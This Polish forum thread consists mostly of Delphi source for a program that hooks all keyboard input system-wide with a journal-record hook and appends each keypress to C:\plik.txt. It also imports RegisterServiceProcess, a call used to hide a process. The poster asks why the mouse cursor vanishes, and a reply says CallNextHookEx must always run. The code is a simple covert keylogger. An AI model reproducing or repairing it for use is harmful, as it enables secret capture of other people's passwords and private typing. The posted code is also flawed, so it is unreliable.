Programik z hook-iem Myszka znika

0

Witam mam taki sobie programik z hookiem ale niestety po uruchomieniu znika mi w nim myszka( tj. wskaźnik)

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

var
Hook:Integer;
MessageBuffer:TEventMsg;
PLIK: TextFile;
Llosowa: integer;


function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
assignFile(plik, 'C:\plik.txt');
append(plik);
write(plik, chr(MessageBuffer.paraml));
CloseFile(plik);

Result := 0;
end;
end;

else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
Plik : TextFile;
begin
UnHookWindowsHookEx(Hook);
assignFile(plik, 'C:\plik.txt');
append(plik);
writeLN(plik, '------------------------ZAMKNIECIE PROGRAMU----------------------');

CloseFile(plik);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;

end.

Jeśli ktoś widzi błąd proszęo pomoc ;)

0

CallNextHookEx musi się wykonac zawsze
a nie tak jak u Ciebie

http://delphi.about.com/od/windowsshellapi/a/mousehook.htm

1 użytkowników online, w tym zalogowanych: 0, gości: 1